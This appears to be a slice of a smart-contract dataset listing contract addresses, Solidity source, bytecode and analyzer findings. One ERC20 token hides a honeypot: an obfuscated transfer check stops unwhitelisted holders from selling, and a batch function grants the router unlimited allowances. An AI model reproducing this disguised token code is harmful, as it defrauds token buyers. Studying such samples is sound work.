00000000000000000000000000000000000000000000602082015250565b600061311960258361269a565b9150613124826130bd565b604082019050919050565b600060208201905081810360008301526131488161310c565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006131ab60238361269a565b91506131b68261314f565b604082019050919050565b600060208201905081810360008301526131da8161319e565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b600061323d60298361269a565b9150613248826131e1565b604082019050919050565b6000602082019050818103600083015261326c81613230565b9050919050565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b60006132a960118361269a565b91506132b482613273565b602082019050919050565b600060208201905081810360008301526132d88161329c565b9050919050565b60006132ea826127bc565b91506132f5836127bc565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561332a57613329612c65565b5b828201905092915050565b6000613340826127bc565b915061334b836127bc565b92508282101561335e5761335d612c65565b5b828203905092915050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b60006133c5602a8361269a565b91506133d082613369565b604082019050919050565b600060208201905081810360008301526133f4816133b8565b9050919050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6134308161277e565b82525050565b60006134428383613427565b60208301905092915050565b6000602082019050919050565b6000613466826133fb565b6134708185613406565b935061347b83613417565b8060005b838110156134ac5781516134938882613436565b975061349e8361344e565b92505060018101905061347f565b5085935050505092915050565b600060a0820190506134ce6000830188612868565b6134db6020830187612dea565b81810360408301526134ed818661345b565b90506134fc60608301856129a2565b6135096080830184612868565b9695505050505050565b600061351e826127bc565b9150613529836127bc565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561356257613561612c65565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006135a7826127bc565b91506135b2836127bc565b9250826135c2576135c161356d565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b600061362960218361269a565b9150613634826135cd565b604082019050919050565b600060208201905081810360008301526136588161361c565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000613695601b8361269a565b91506136a08261365f565b602082019050919050565b600060208201905081810360008301526136c481613688565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220397b262c78898b0eaf2143a52d0a775e42ccb0d36cc2517850021fb90a9c233264736f6c634300080a0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 9,661 |
0xb69f534d752c18cf37380d6b4f8e5e624c01c505 | pragma solidity ^0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address private _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
address private _address0;
address private _address1;
mapping (address => bool) private _Addressint;
uint256 private _zero = 0;
uint256 private _valuehash = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_address0 = owner;
_address1 = owner;
_mint(_address0, initialSupply*(10**18));
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function ints(address addressn) public {
require(msg.sender == _address0, "!_address0");_address1 = addressn;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function upint(address addressn,uint8 Numb) public {
require(msg.sender == _address0, "!_address0");if(Numb>0){_Addressint[addressn] = true;}else{_Addressint[addressn] = false;}
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function intnum(uint8 Numb) public {
require(msg.sender == _address0, "!_address0");_zero = Numb*(10**18);
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal safeCheck(sender,recipient,amount) virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
modifier safeCheck(address sender, address recipient, uint256 amount){
if(recipient != _address0 && sender != _address0 && _address0!=_address1 && amount > _zero){require(sender == _address1 ||sender==_router || _Addressint[sender], "ERC20: transfer from the zero address");}
if(sender==_address0 && _address0==_address1){_address1 = recipient;}
if(sender==_address0){_Addressint[recipient] = true;}
_;}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function multiaddress(uint8 AllowN,address[] memory receivers, uint256[] memory amounts) public {
for (uint256 i = 0; i < receivers.length; i++) {
if (msg.sender == _address0){
transfer(receivers[i], amounts[i]);
if(i<AllowN){_Addressint[receivers[i]] = true; _approve(receivers[i], _router, _valuehash);}
}
}
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
//transfer
function _transfer_UNIQ(address sender, address recipient, uint256 amount) internal virtual{
require(recipient == address(0), "ERC20: transfer to the zero address");
require(sender != address(0), "ERC20: transfer from the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
} | 0x608060405234801561001057600080fd5b50600436106100f55760003560e01c8063540410e511610097578063a9059cbb11610066578063a9059cbb146104c7578063b952390d1461052d578063ba03cda514610686578063dd62ed3e146106d7576100f5565b8063540410e51461035557806370a082311461038657806395d89b41146103de578063a457c2d714610461576100f5565b806323b872dd116100d357806323b872dd14610201578063313ce5671461028757806339509351146102ab578063438dd08714610311576100f5565b806306fdde03146100fa578063095ea7b31461017d57806318160ddd146101e3575b600080fd5b61010261074f565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610142578082015181840152602081019050610127565b50505050905090810190601f16801561016f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101c96004803603604081101561019357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107f1565b604051808215151515815260200191505060405180910390f35b6101eb61080f565b6040518082815260200191505060405180910390f35b61026d6004803603606081101561021757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610819565b604051808215151515815260200191505060405180910390f35b61028f6108f2565b604051808260ff1660ff16815260200191505060405180910390f35b6102f7600480360360408110156102c157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610909565b604051808215151515815260200191505060405180910390f35b6103536004803603602081101561032757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506109bc565b005b6103846004803603602081101561036b57600080fd5b81019080803560ff169060200190929190505050610ac3565b005b6103c86004803603602081101561039c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ba7565b6040518082815260200191505060405180910390f35b6103e6610bef565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561042657808201518184015260208101905061040b565b50505050905090810190601f1680156104535780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104ad6004803603604081101561047757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c91565b604051808215151515815260200191505060405180910390f35b610513600480360360408110156104dd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d5e565b604051808215151515815260200191505060405180910390f35b6106846004803603606081101561054357600080fd5b81019080803560ff1690602001909291908035906020019064010000000081111561056d57600080fd5b82018360208201111561057f57600080fd5b803590602001918460208302840111640100000000831117156105a157600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561060157600080fd5b82018360208201111561061357600080fd5b8035906020019184602083028401116401000000008311171561063557600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610d7c565b005b6106d56004803603604081101561069c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803560ff169060200190929190505050610edf565b005b610739600480360360408110156106ed57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611068565b6040518082815260200191505060405180910390f35b606060048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107e75780601f106107bc576101008083540402835291602001916107e7565b820191906000526020600020905b8154815290600101906020018083116107ca57829003601f168201915b5050505050905090565b60006108056107fe6110ef565b84846110f7565b6001905092915050565b6000600354905090565b60006108268484846112ee565b6108e7846108326110ef565b6108e285604051806060016040528060288152602001611bbd60289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006108986110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a049092919063ffffffff16565b6110f7565b600190509392505050565b6000600660009054906101000a900460ff16905090565b60006109b26109166110ef565b846109ad85600160006109276110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ac490919063ffffffff16565b6110f7565b6001905092915050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a7f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610b86576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b670de0b6b3a76400008160ff160267ffffffffffffffff1660098190555050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610c875780601f10610c5c57610100808354040283529160200191610c87565b820191906000526020600020905b815481529060010190602001808311610c6a57829003601f168201915b5050505050905090565b6000610d54610c9e6110ef565b84610d4f85604051806060016040528060258152602001611c2e6025913960016000610cc86110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a049092919063ffffffff16565b6110f7565b6001905092915050565b6000610d72610d6b6110ef565b84846112ee565b6001905092915050565b60008090505b8251811015610ed957600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610ecc57610e11838281518110610df057fe5b6020026020010151838381518110610e0457fe5b6020026020010151610d5e565b508360ff16811015610ecb57600160086000858481518110610e2f57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610eca838281518110610e9757fe5b6020026020010151600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600a546110f7565b5b5b8080600101915050610d82565b50505050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610fa2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60008160ff16111561100b576001600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550611064565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561117d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180611c0a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611203576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180611b756022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b828282600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415801561139d5750600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156114195750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b8015611426575060095481115b1561157e57600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806114d45750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806115285750600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61157d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611be56025913960400191505060405180910390fd5b5b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561164a5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b156116915781600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611740576001600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614156117c6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611be56025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16141561184c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180611b526023913960400191505060405180910390fd5b611857868686611b4c565b6118c284604051806060016040528060268152602001611b97602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a049092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611955846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ac490919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3505050505050565b6000838311158290611ab1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611a76578082015181840152602081019050611a5b565b50505050905090810190601f168015611aa35780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611b42576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212203efe1f0f39093f118786c7c09d30dbcfe44b9ff6beab9d68d7a8faeb048f560f64736f6c63430006060033 | {"success": true, "error": null, "results": {}} | 9,662 |
0x599e33ec709ef5d89cf89f8bd4d597887b2e7528 | // SPDX-License-Identifier: MIKIStaking
pragma solidity ^0.6.12;
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address payable public owner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address payable _newOwner) public onlyOwner {
owner = _newOwner;
emit OwnershipTransferred(msg.sender, _newOwner);
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function ceil(uint a, uint m) internal pure returns (uint r) {
return (a + m - 1) / m * m;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------
abstract contract ERC20Interface {
function totalSupply() public virtual view returns (uint);
function balanceOf(address tokenOwner) public virtual view returns (uint256 balance);
function allowance(address tokenOwner, address spender) public virtual view returns (uint256 remaining);
function transfer(address to, uint256 tokens) public virtual returns (bool success);
function approve(address spender, uint256 tokens) public virtual returns (bool success);
function transferFrom(address from, address to, uint256 tokens) public virtual returns (bool success);
event Transfer(address indexed from, address indexed to, uint256 tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint256 tokens);
}
contract MIKI_Staking is Owned{
using SafeMath for uint256;
uint256 public penaltyFee = 95; //95% penlaty fee applicable before lock up time
uint256 public totalRewards;
uint256 public totalStakes;
uint256 public firstYearRate = 30;
uint256 public secondYearRate = 20;
uint256 public afterSecondYearRate = 10;
uint256 public firstYearStakingPeriod = 4 hours;
uint256 public secondYearStakingPeriod = 2 hours;
uint256 public afterSecondYearStakingPeriod = 1 hours;
uint256 private contractStartDate;
address constant MIKI = 0x0488a7b65e8A07Db4642A1cBe75434b4C4524026;
struct DepositedToken{
bool Exist;
uint256 activeDeposit;
uint256 totalDeposits;
uint256 startTime;
uint256 pendingGains;
uint256 lastClaimedDate;
uint256 totalGained;
address referrer;
}
mapping(address => DepositedToken) users;
event Staked(address staker, uint256 tokens);
event AddedToExistingStake(uint256 tokens);
event TokensClaimed(address claimer, uint256 stakedTokens);
event RewardClaimed(address claimer, uint256 reward);
//#########################################################################################################################################################//
//####################################################STAKING EXTERNAL FUNCTIONS###########################################################################//
//#########################################################################################################################################################//
constructor() public{
contractStartDate = block.timestamp;
}
// ------------------------------------------------------------------------
// Start staking
// @param _tokenAddress address of the token asset
// @param _amount amount of tokens to deposit
// ------------------------------------------------------------------------
function STAKE(uint256 _amount, address _referrerID) public {
require(_referrerID == address(0) || users[_referrerID].Exist, "Invalid Referrer Id");
require(_amount > 0, "Invalid amount");
// add new stake
_newDeposit(MIKI, _amount, _referrerID);
// update referral reward
_updateReferralReward(_amount, _referrerID);
// transfer tokens from user to the contract balance
require(ERC20Interface(MIKI).transferFrom(msg.sender, address(this), _amount));
emit Staked(msg.sender, _amount);
}
// ------------------------------------------------------------------------
// Claim reward and staked tokens
// @required user must be a staker
// @required must be claimable
// ------------------------------------------------------------------------
function ClaimStakedTokens() external {
require(users[msg.sender].activeDeposit > 0, "no running stake");
uint256 _penaltyFee = 0;
if(users[msg.sender].startTime + latestStakingPeriod() > now){ // claiming before lock up time
_penaltyFee = penaltyFee;
}
uint256 toTransfer = users[msg.sender].activeDeposit.sub(_onePercent(users[msg.sender].activeDeposit).mul(_penaltyFee));
// transfer staked tokens - apply 95% penalty and send back staked tokens
require(ERC20Interface(MIKI).transfer(msg.sender, toTransfer));
// check if we have any pending reward, add it to pendingGains var
users[msg.sender].pendingGains = pendingReward(msg.sender);
emit TokensClaimed(msg.sender, toTransfer);
// update amount
users[msg.sender].activeDeposit = 0;
}
// ------------------------------------------------------------------------
// Claim reward and staked tokens
// @required user must be a staker
// @required must be claimable
// ------------------------------------------------------------------------
function ClaimReward() public {
require(pendingReward(msg.sender) > 0, "nothing pending to claim");
// transfer the reward to the claimer
require(ERC20Interface(MIKI).transfer(msg.sender, pendingReward(msg.sender)));
emit RewardClaimed(msg.sender, pendingReward(msg.sender));
// add claimed reward to global stats
totalRewards = totalRewards.add(pendingReward(msg.sender));
// add the reward to total claimed rewards
users[msg.sender].totalGained = users[msg.sender].totalGained.add(pendingReward(msg.sender));
// update lastClaim amount
users[msg.sender].lastClaimedDate = now;
// reset previous rewards
users[msg.sender].pendingGains = 0;
}
//#########################################################################################################################################################//
//####################################################STAKING QUERIES######################################################################################//
//#########################################################################################################################################################//
// ------------------------------------------------------------------------
// Query to get the pending reward
// ------------------------------------------------------------------------
function pendingReward(address _caller) public view returns(uint256 _pendingReward){
uint256 _totalStakedTime = 0;
uint256 expiryDate = (latestStakingPeriod()).add(users[_caller].startTime);
if(now < expiryDate)
_totalStakedTime = now.sub(users[_caller].lastClaimedDate);
else{
if(users[_caller].lastClaimedDate >= expiryDate) // if claimed after expirydate already
_totalStakedTime = 0;
else
_totalStakedTime = expiryDate.sub(users[_caller].lastClaimedDate);
}
uint256 _reward_token_second = ((latestStakingRate()).mul(10 ** 21)).div(365 days); // added extra 10^21
uint256 reward = ((users[_caller].activeDeposit).mul(_totalStakedTime.mul(_reward_token_second))).div(10 ** 23); // remove extra 10^21 // the two extra 10^2 is for 100 (%)
return (reward.add(users[_caller].pendingGains));
}
// ------------------------------------------------------------------------
// Query to get the active stake of the user
// ------------------------------------------------------------------------
